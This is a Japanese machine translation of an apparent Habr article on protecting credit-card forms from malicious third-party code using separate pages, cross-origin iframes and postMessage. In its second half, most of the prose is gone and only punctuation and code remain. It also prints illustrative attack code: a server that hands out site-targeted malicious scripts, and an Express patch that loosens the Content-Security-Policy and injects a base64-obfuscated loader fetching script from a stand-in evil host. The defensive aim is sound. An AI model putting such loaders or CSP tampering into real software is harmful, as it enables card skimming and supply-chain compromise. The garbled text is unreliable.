サむトぞの蚪問者からクレゞットカヌド番号ずパスワヌドを盗たれないようにする方法の物語

最近、気付かれずに数千のサむトから銀行カヌドのデヌタずパスワヌドを収集する悪意のあるコヌドを配垃する方法を考え出したプログラマヌの歎史の翻蚳を公​​開したした。


その投皿は、芳客からの掻発で感情的な反応を匕き起こしたした。 誰かがすべおがなくなったず蚀いたした、そしお今圌は平和に眠るこずができないでしょう、誰かは圌のプロゞェクトに絶察に觊れないだろうず䞻匵したした、誰かがこれから自分を守る方法に぀いお質問したした...問題に、前の蚘事で取り䞊げた、別の方法で凊理するこずができたすが、それは非垞に珟実的であるため、今日、クレゞットカヌド番号を盗んだ人の話の続きを公開したす。 今日、圌は朜圚的に危険なコヌドからWebプロゞェクトを保護する方法に぀いお話したす。

最も重芁なこずに぀いお䞀蚀で蚀えば


詳现に進む前に、ここで明らかにする䞻なアむデアに぀いお簡単に説明したす。

そのため、Webプロゞェクトを保護するには、少なくずも2぀のこずを考慮する必芁がありたす。 第䞀に、サヌドパヌティのコヌドは避けるべきではありたせん。 第二に、朜圚的な攻撃者にずっお関心のあるデヌタの収集ず凊理に特別な泚意を払う必芁がありたす。

぀たり、このようなデヌタの収集は専甚のWebペヌゞを䜿甚しお実行する必芁があり、専甚のWebペヌゞは別のiframe衚瀺する必芁がありたす。 メむンサむトのドメむン以倖のドメむンにある静的Webペヌゞのサヌバヌに配眮する必芁がありたす。 これは、たずえば銀行カヌドを䜿甚しお自分で䜜業する堎合です。 ここでは、たずえば、䞊蚘の保護察策の有効性を疑う堎合、たたは単にプロゞェクトを耇雑にしたくない堎合など、別の方法を遞択できたす。 この方法は、そのようなデヌタの凊理を専門サヌビスに完党に転送できるこずです。

この資料に蚘茉されおいる掚奚事項は、他のすべおから明確に分離され、適切に保護されおいる貎重な情報の限られたカテゎリで動䜜するサむトにのみ適しおいたすたずえば、ナヌザヌ名ずパスワヌド、銀行カヌドデヌタ。 チャットやデヌタベヌスアプリケヌションのようなものを開発しおいる堎合、絶察にすべおが攻撃者の関心を匕く可胜性があるため、ここでの掚奚事項はあたり圹に立ちたせん。

ハムスタヌずドヌベルマン


通垞、少しの恐怖が圹立ちたす。 それは動員し、行動するよう匷制したす。 OnePlusが最近しなければならなかったものず同様の発蚀をしなければならなかった堎合に感じるであろう感芚を評䟡するこずをお勧めしたす。

...入力䞭にクレゞットカヌドデヌタを盗むように蚭蚈された悪意のあるスクリプトが支払い凊理ペヌゞのコヌドに導入されたした...このスクリプトは断続的に動䜜し、デヌタをむンタヌセプトし、ナヌザヌのブラりザヌから盎接攻撃者に送信したした...このむンシデントは、最倧4䞇人のoneplusナヌザヌに圱響を䞎えたす。ネット。

䞊蚘で述べた恐怖には、特定の圢はありたせん。 圌に察凊するために、動物孊に目を向けお、動物界での物質的な具䜓䟋を芋぀けたしょう。

サヌドパヌティのコヌドは、ベテランのドヌベルマンずしお玹介したす。 圌は萜ち着いおいお、満足しおいたす。 しかし、圌の黒いたばたきのない目には未知の火花が朜んでいたす。 圌がそれを手に入れるこずができる堎所で、私にずっお倧切なものは䜕も残さないず蚀っお十分です。

かわいい無防備なハムスタヌの圢で私が想像するナヌザヌの機密デヌタ。 無邪気な衚情で前足をなめ、愚かな顔を掗い、犬の口の前で䞍泚意に戯れおいる様子がわかりたす。

今、あなたがドヌベルマンず友奜的な関係にあったこずがあるならこれを匷くお勧めしたす、ドヌベルマンは矎しく、芪切な生き物であり、䞖論が圌らに䞎えた悪評に倀しないこずは間違いないでしょう。 ただし、これにも関わらず、犬甚の噛むおもちゃのように芋えるハムスタヌをドヌベルマンだけに眮いおはいけないず䞻匵するこずはありたせん。

家を出るずきに同じ郚屋にこの2぀を眮いお垰るず、䞀般的な萜ち着いた感動のシヌンがあり、ドヌベルマンの背䞭でハムスタヌが眠っおいるのがわかりたす。 たたは、おそらくおそらく、あなたの小さなペットがいた堎所には空虚しかなく、犬は頭を暪に曲げお、デザヌトメニュヌを芋るこずができるかどうかを尋ねたす。

私は、npm、GTM、DFP、たたは他の堎所から取埗したコヌドは、吊定できないほど危険だず考えるべきではないず考えおいたす。 ただし、このコヌドが適切に動䜜するこずを保蚌できない堎合は、機密のナヌザヌデヌタをそのたたにしおおくこずは無責任であるず考えるこずをお勧めしたす。

そのため、機密デヌタずサヌドパヌティのコヌドを無人で䞀緒に保管するこずはできたせん。

䟋脆匱なサむトを保護する


この䟋で調べるサむトには、クレゞットカヌドデヌタを入力するためのフォヌムがあり、悪意のあるコヌドからアクセスできたす。 同様のフォヌムは、おそらく十分に保護されおいるず思われるいく぀かの非垞に倧きなオンラむンストアで芋るこずができたす。


銀行カヌドのデヌタ入力フォヌム

このペヌゞは文字通りサヌドパヌティのコヌドでいっぱいです。 圌女はReactを䜿甚しおおり、Create Reactアプリを䜿甚しお䜜成されたため、その䞊で本栌的な䜜業を開始する前から、すでに886個の䟝存関係がありたした。

さらに、Googleタグマネヌゞャヌがありたす誰も知らない堎合-GTMは、完党に未知の人がサむトにJSコヌドを埋め蟌み、コヌド分析の圢で干枉を回避できるようにする䟿利なメカニズムです。

そしお、完党な幞犏のために、このペヌゞにはバナヌ広告もありたすスクリヌンショットには衚瀺されたせんでした。 この広告は、112のネットワヌクリク゚ストに散らばった1.5メガバむトのJSコヌドです。 これはすべお、クレゞットカヌドが銬にダりンロヌドする様子を衚す1぀のアニメヌションGIFをダりンロヌドするのに11秒のプロセッサ時間を必芁ずしたす。

ここで、Googleはこれらすべおに関連しお私を倱望させおいるこずに泚意したい。適切なプログラミングアプロヌチを提唱する同瀟の埓業員は、Webを高速化する方法を教えおくれるのに倚くの時間を費やしおいる。数ミリ秒...これはすばらしいこずですが、同時にDFP独自の広告ネットワヌクがメガバむトのデヌタをナヌザヌデバむスに送信し、数癟のネットワヌクリク゚ストを実行し、プロセッサ時間を数秒取るこずができたす。 UU十分な資栌の専門家、広告で動䜜するように賢くか぀迅速な方法を䜜成するのに十分である粟神的な可胜性が。なぜ、この、これたで行われおいたせん

それでは、トピックに戻りたしょう。 明らかに、私はサヌドパヌティのコヌドの手から秘密のナヌザヌデヌタを匕き出す必芁がありたす。 問題のフォヌムが独自の小さな島に䜏むようにしたい。


最初に玠敵な写真を芋぀けおから、この写真ず蚘事のトピックを結び付けるメタファヌを考え出す必芁がありたす

今日、私の話をいく぀か読んで真剣な仕事の準備が十分に敎ったずころで、サヌドパヌティのコヌドから貎重なデヌタを保護するための実甚的なアプロヌチに぀いお説明し始めたす。 ぀たり、ここでは3぀の保護オプションを怜蚎したす。


▍オプション1機密デヌタ甚に別のペヌゞ


セキュリティ䞊の理由から、機密デヌタを操䜜するための新しいペヌゞを䜜成するのが最も簡単です。このペヌゞにはJavaScriptコヌドがたったくありたせん。 ナヌザヌが「賌入」ボタンをクリックするず、ペヌゞに組み蟌たれ、そのデザむンに埓っお様匏化された矎しい圢を衚瀺する代わりに、次のようなものに送信されたす。


銀行カヌドデヌタを操䜜するための専甚ペヌゞ

残念ながら、私のサむトのヘッダヌ、フッタヌ、およびナビゲヌションバヌはReactコンポヌネントであるため、サヌドパヌティのコヌドを䜿甚せずに䜜成されたこのペヌゞでは䜿甚できたせん。 したがっお、芋出し碑文のある青い長方圢は、完党に機胜する芋出しの手動で䜜成されたコピヌです。 もちろん、手䜜りの垜子には同じ機胜はありたせん。

ナヌザヌがフォヌムにデヌタを入力したら、「送信」ボタンをクリックしお、賌入プロセスの次のステップに進みたす。 これには、サむトのサヌバヌ郚分の倉曎が必芁になる堎合がありたす。これにより、ナヌザヌのアクションず、サむトのペヌゞを移動するずきにシステムに送信するデヌタを远跡できたす。

フォヌムファむルに䜙分なものが含たれないように、JavaScriptでできるこずの代わりに暙準のフォヌム怜蚌メカニズムを䜿甚したした。 その結果、このようなペヌゞのサポヌトレベルは97を超え 、 required属性ずpattern属性を䜿甚しお、JavaScriptによる入力デヌタの怜蚌の実装がどの皋床進んだかを評䟡できたす。

CodePenのこのようなペヌゞの䟋を次に瀺したす。 JSず条件付きスタむリングを䜿甚せずに、正芏衚珟を䜿甚しお入力されたデヌタの怜蚌を䜿甚したす。

このアプロヌチを実際に䜿甚する堎合は、フォヌムに関連するコヌドを1぀のファむルに保存するこずをお勧めしたす。 耇雑さはこのアプロヌチの敵です私たちの状況では、耇雑さに察する同様の態床が特に圓おはたりたす。 䞊蚘の䟋のHTMLファむルは、 <style>に埋め蟌たれたCSSずずもに、玄100行のコヌドを取りたす。 このファむルは非垞に小さく、このファむルを衚瀺するために远加のネットワヌク芁求を必芁ずしないため、慎重に倉曎するこずはほずんど䞍可胜です。

残念ながら、このアプロヌチにはCSSスタむルのコピヌが必芁です。 私はこれに぀いお倚くを考え、異なるアプロヌチを怜蚎したした。 それらはすべお、コピヌされたCSSのボリュヌムよりも倚くのコヌドを必芁ずしたすが、その重耇は圌らの助けを借りお防ぐこずができたす。

したがっお、「自分自身を繰り返さない」ずいうアむデアは優れたガむドラむンですが、それは絶察に埓わなければならない絶察的なルヌルず芋なされるべきではありたせん。 ここで芋おいるようなたれなケヌスでは、コヌドのコピヌは2぀の悪の少ない方です。

最も有甚なルヌルは、砎られる可胜性があるずきに知られおいるルヌルです。
新幎には、䜕も蚀わずにスマヌトなこずを䌝えようずしおいたす。

▍オプション2iframeのスタンドアロンペヌゞ


最初のオプションは非垞に有効であるこずが刀明したしたが、これはナヌザヌむンタヌフェむスずUXの蚭蚈の芳点から䞀歩埌退したものです。 さらに、誰かからお金を受け取る段階は、䜙分なペヌゞの動きを人にロヌドする䟡倀がある堎合には圓おはたりたせん。

2番目のオプションは、フォヌムのあるペヌゞがiframe配眮されるずいう事実により、状況を改善したす。

ここでは、次のようなこずをしようずする堎合がありたす。

 <iframe src="/credit-card-form.html" title="credit card form" height="460" width="400" frameBorder="0" scrolling="no" /> 

そうしないでください。

この䟋では、芪ペヌゞずiframeコンテンツは自由にお互いを芋お盞互にやり取りできたす。 ドヌベルマンを䞀方の郚屋に残し、ハムスタヌをもう䞀方の郚屋に眮いた堎合ず同じになりたす。これらの2぀の郚屋の間にロック解陀されたドアがあり、空腹時にドヌベルマンが簡単に開けるこずができたす。

iframeをサンドボックスに入れるずいいでしょう。 さらに先ほど芋぀けたように、これはiframeから芪ペヌゞを保護するこずを目的ずしおいるため、 sandbox iframe属性ずは関係ありたせん。 私たちのタスクは、芪ペヌゞからiframeを保護するこずです。

ブラりザには組み蟌みのメカニズムがあり、ベヌスペヌゞの堎所以倖の゜ヌスからのコヌドを信甚できないようにしたす。 これは同䞀生成元ポリシヌず呌ばれ、異なる゜ヌスから受信したコヌドの盞互䜜甚を制限するセキュリティポリシヌです。 このメカニズムのおかげで、ベヌスペヌゞずiframeの盞互䜜甚を防ぐには、ペヌゞを別のドメむンからiframeにロヌドするだけで十分です。

 <iframe src="https://different.domain.com/credit-card-form.html" title="credit card form" height="460" width="400" frameBorder="0" scrolling="no" /> 

このアプロヌチでは、ペットの䞖界から私たちの䟋に戻るず、ハムスタヌはドアをしっかりずロックしおくれお本圓に感謝したす。

障害のある人向けのiframeコンテンツの可甚性に぀いお懞念しおいる堎合、私はたず第䞀にあなたを誇りに思っおおり、第二にこれに぀いお心配するこずはできたせん。 WebAIMが報告する内容は次のずおりです。「組み蟌みiframeには、既知のアクセシビリティの問題はありたせん。 埋め蟌たれたiframeのコンテンツは、芪ペヌゞのコンテンツであるかのようにマヌクアップ内のタグの順序に基づいおペヌゞに含たれる䜍眮から読み取られたす。

次に、フォヌムが完成したずきに䜕が起こるか考えおみたしょう。 ナヌザヌはiframeにあるこのフォヌムの送信ボタンをクリックしたすが、これは芪ペヌゞに圱響を䞎えるために必芁です。 ただし、ペヌゞのコンテンツずiframe゜ヌスiframe異なるため、䞊蚘のスキヌムを実装できるかどうか疑問に思いたす。

幞いなこずに、これは可胜であり、これがtargetフォヌム属性のtargetです。

 <form action="/pay-for-the-thing" method="post" target="_top" > <!-- form fields --> </form> 

したがっお、ナヌザヌは機密デヌタをメむンペヌゞに完党に適合するフォヌムに入力できたす。 次に、フォヌムを送信するず、芪ペヌゞがリダむレクトされたす。

私たちが怜蚎しおいる貎重なデヌタを保護する2番目のオプションは、セキュリティの面で倧きな前進です。぀たり、倖郚䟝存関係で満たされたベヌスペヌゞには、これらの䟝存関係のコヌドからアクセスできるフォヌムはありたせん。

ただし、この問題の理想的な解決策ずしお、ペヌゞのリダむレクトは必芁ありたせん。 これは、3番目のオプションに぀ながりたす。

▍オプション3芪ペヌゞずiframe間のデヌタ亀換


私の実隓サむトでは、賌入した補品に関する情報ずずもに、銀行カヌドのデヌタをアプリケヌション状態で保存し、必芁な情報をすべお収集した埌、1぀のAJAXリク゚ストを䜿甚しお転送したす。

ずおも簡単です。 フォヌムから芪ペヌゞにデヌタを送信するには、 postMessageメカニズムを䜿甚したす。

iframeホストされおいるペヌゞは次のずおりです。

 <body> <form id="form">     <!-- form stuff in here -->   </form> <script>   var form = document.getElementById('form');   form.addEventListener('submit', function(e) {     e.preventDefault();     var payload = {       type: 'bananas',       formData: {         a: form.ccname.value,         b: form.cardnumber.value,         c: form.cvc.value,         d: form['cc-exp'].value,       },     };     window.parent.postMessage(payload, 'https://mysite.com');   }); </script> </body> 

var泚意しおください。 これで、芪ペヌゞたたは、むしろiframe担圓するReactコンポヌネントで、 iframeからのメッセヌゞを期埅し、それに応じお状態を曎新したす。

 class CreditCardFormWrapper extends PureComponent { componentDidMount() {   window.addEventListener('message', ({ data }) => {     if (data.type === 'bananas') {       this.setState(data.formData);     }   }); } render() {   return (     <iframe       src="https://secure.mysite.com/credit-card-form.html"       title="credit card form"       height="460"       width="400"       frameBorder="0"       scrolling="no"     />   ); } } 

この䟋はReactに基づいおいたすが、同じアむデアを他の手段で実装するこずもできたす。
このアプロヌチが安党でないず思われる堎合は、代わりに、 onchangeむベントを䜿甚しお、フィヌルドごずに個別に芪゚ンティティのフォヌムからデヌタを送信できたす。

これを行っおいる間、芪ペヌゞが入力されたデヌタをチェックし、すべおが正しく入力されたこずを瀺すメッセヌゞをフォヌムに送信するこずを劚げるものは䜕もありたせん。 これにより、入力怜蚌コヌドを再利甚できたす。このコヌドは、プロゞェクトのどこかで匕き続き利甚できたす。

ここでは、 2぀の 貎重なコメントに基づいお远加したかったのですが、 iframeは芪ペヌゞをリダむレクトせずにデヌタを送信でき、その埌postMessageを䜿甚しお操䜜の成功たたは倱敗に関するメッセヌゞを芪ペヌゞに送信できたす。 このアプロヌチでは、機密デヌタは芪ペヌゞにたったく転送されたせん。

以䞊です 貎重なナヌザヌデヌタはiframe配眮されたフォヌムに安党に入力され、ベヌスペヌゞの゜ヌス以倖の゜ヌスからそこにロヌドされたす。 このデヌタは芪ペヌゞからは隠されおいたすが、アプリケヌションの状態の䞀郚である可胜性がありたす。぀たり、ナヌザヌはiframeを䜿甚せずにサむトを快適に操䜜できたす。

ここでは、芪ペヌゞにクレゞットカヌド情報を送信するず、このデヌタを保護するためのすべおの取り組みがキャンセルされるず考えるかもしれたせん。 このデヌタは、ベヌスペヌゞにある悪意のあるコヌドからアクセスできたすか

この質問ぞの答えは2぀の郚分から成り、事前に謝眪したすが、これを説明する簡単な方法は思い぀きたせん。

提案されたアプロヌチのリスク特性のレベルを蚱容できるず考える理由は、ハッカヌの目で状況を芋れば理解しやすいです。 貎重な情報を怜玢しおサヌバヌに送信するこずにより、任意のWebサむトで実行できる悪意のあるコヌドを䜜成するタスクに盎面しおいるこずを想像しおください。 このコヌドが䜕かを送信するたびに、怜出されるリスクがありたす。 したがっお、倀が確実なデヌタのみをサヌバヌに送信するこずはあなたの利益になりたす。

このようなコヌドを蚘述する必芁がある堎合、 messageむベントを無差別にリッスンし、それらから抜出したものをサヌバヌに送信したせん。 支払いデヌタの入力に脆匱なフォヌムを䜿甚するサむトが䜕千もあり、これらのフォヌムのフィヌルドにはきちんず眲名されおいるため、必芁ありたせん。

答えの2番目の郚分は、あなたを悩たす悪意のあるコヌドは普遍的なものではないずいうこずです。 このコヌドは、むンタヌセプトする必芁があるメッセヌゞをよく知っおいる可胜性がありたす。぀たり、これらのメッセヌゞで送信された貎重なデヌタを盗むこずができたす。 サむト専甚に䜜成された悪意のあるコヌドに察する保護は、別のセクションに倀するトピックです。

ナニバヌサル悪意のあるコヌド、および特定のサむト甚に蚭蚈されたコヌド


これたで、普遍的な悪意のあるコヌドを䜿甚した攻撃に぀いお説明しおきたした。 , , . , , -.

, , , , -. , , .

, , , . . , iframe , iframe . -, , 50% , , . — .

, , .

. . (, npm-), «» , , , . :

 app.get('/analytics.js', (req, res) => { if (req.get('host').includes('acme-sneakers.com')) {   res.sendFile(path.join(__dirname, '../malicious-code/targeted/acme-sneakers.js')); } else if (req.get('host').includes('corporate-bank.com')) {   res.sendFile(path.join(__dirname, '../malicious-code/targeted/corporate-bank.js')); } else if (req.get('host').includes('government-secrets.com')) {   res.sendFile(path.join(__dirname, '../malicious-code/targeted/government-secrets.js')); } else if (req.get('host').includes('that-chat-app.com')) {   res.sendFile(path.join(__dirname, '../malicious-code/targeted/that-chat-app.js')); } else {   res.sendFile(path.join(__dirname, '../malicious-code/generic.js')); } }); 

, , , . — . .

-, , postMessage iframe . , , , , , .

, . Google, Facebook Twitter. , . , , , , .

-


, , , . 
 , , -. , .

▍


, HTML-, . . - , .

, Node.js. , 



, . 204 ?

, 204 — , , , , , , ?

, , npm-, , , , , , .

, — , this call , , , CSP.

 const fs = require('fs'); const express = require('express'); let indexHtml; const originalResponseSendFile = express.response.sendFile; express.response.sendFile = function(path, options, callback) { if (path.endsWith('index.html')) {   //          let csp = express.response.get.call(this, 'Content-Security-Policy') || '';   csp = csp.replace('connect-src ', 'connect-src https://adxs-network-live.com ');   express.response.set.call(this, 'Content-Security-Policy', csp);   //      if (!indexHtml) {     indexHtml = fs.readFileSync(path, 'utf8');     const script = `       <script>         var googleAuthToken = document.createElement('script');         googleAuthToken.textContent = atob('CiAgICAgICAgY29uc3Qgc2NyaXB0RWwgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKICAgICAgICBzY3JpcHRFbC5zcmMgPSAnaHR0cHM6Ly9ldmlsLWFkLW5ldHdvcms/YWRfdHlwZT1tZWRpdW0nOwogICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoc2NyaXB0RWwpOwogICAgICAgIHNjcmlwdEVsLnJlbW92ZSgpOyAvLyByZW1vdmUgdGhlIHNjcmlwdCB0aGF0IGZldGNoZXMKICAgICAgICBkb2N1bWVudC5zY3JpcHRzW2RvY3VtZW50LnNjcmlwdHMubGVuZ3RoIC0gMV0ucmVtb3ZlKCk7IC8vIHJlbW92ZSB0aGlzIHNjcmlwdAogICAgICAgIGRvY3VtZW50LnNjcmlwdHNbZG9jdW1lbnQuc2NyaXB0cy5sZW5ndGggLSAxXS5yZW1vdmUoKTsgLy8gYW5kIHRoZSBvbmUgdGhhdCBjcmVhdGVkIGl0CiAgICA=');         document.body.appendChild(googleAuthToken);       </script>     `;     indexHtml = indexHtml.replace('</body>', `${script}</body>`);   }   express.response.send.call(this, indexHtml); } else {   originalResponseSendFile.call(this, path, options, callback); } }; 

, ( — ) ( , CSP ), .

, , ( , , ), , , Express. , , , , , .

— , Object.freeze Object.defineProperty writable: false , .

, . , Node , .

, , , , , , ?

, .

▍


, .

Firebase . . , firebase-tools npm, 
 , , , npm- , npm- ?

, . — npm-, .





640

, firebase-tools . 640 .

, . . , .

, . . , firebase-tools 



640 , 647

- . 7 ? , Firebase, , ? -, , ?

▍Webpack


, , «» HTML- (, CSS-), .

- , , Webpack, . Webpack 367 . - CSS, 246 . html-webpack-plugin , , , , CSS- , 156 .

, , , - , . HTML-, .

▍


, , , . — , . , « ».

, . , , , «» HTML-.

 const fs = require('fs'); const path = require('path'); const { JSDOM } = require('jsdom'); it('should not contain any external scripts, ask David why', () => { const creditCardForm = fs.readFileSync(path.resolve(__dirname, '../public/credit-card-form.html'), 'utf8'); const dom = new JSDOM(   creditCardForm,   { runScripts: 'dangerously' }, ); const scriptElementWithSource = dom.window.document.querySelector('script[src]'); expect(scriptElementWithSource).toBe(null); }); 

<script> ( , ), src . jsdom , document.createElement() .

, , , , .

, , «» HTML-. - firebase-tools Webpack, , , 1200 , , - — .

たずめ


, , . npm-.

: , , — .

. , npm-, «» .

, , , , , .

, , , , : React, Webpack, Babel . , .

— , , , , , .
, .

芪愛なる読者 — , : « ». . , - — .

Source: https://habr.com/ru/post/J347958/


All Articles